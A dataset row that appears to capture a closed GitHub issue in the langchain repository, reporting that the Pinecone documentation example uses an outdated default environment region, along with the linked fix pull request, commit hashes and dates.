closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 897 | ["docs/modules/utils/combine_docs_examples/vectorstores.ipynb"] | Pinecone in docs is outdated | Pinecone default environment was recently changed from `us-west1-gcp` to `us-east1-gcp` ([see here](https://docs.pinecone.io/docs/projects#project-environment)), so new users following the [docs here](https://langchain.readthedocs.io/en/latest/modules/utils/combine_docs_examples/vectorstores.html#pinecone) will hit an error when initializing.
Submitted #898 | https://github.com/langchain-ai/langchain/issues/897 | https://github.com/langchain-ai/langchain/pull/898 | 7658263bfbc9485ebbc85b7d4c2476ea68611e26 | 8217a2f26c94234a1ea99d1b9b815e4da577dcfe | 2023-02-05T18:33:50Z | python | 2023-02-05T23:21:56Z |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.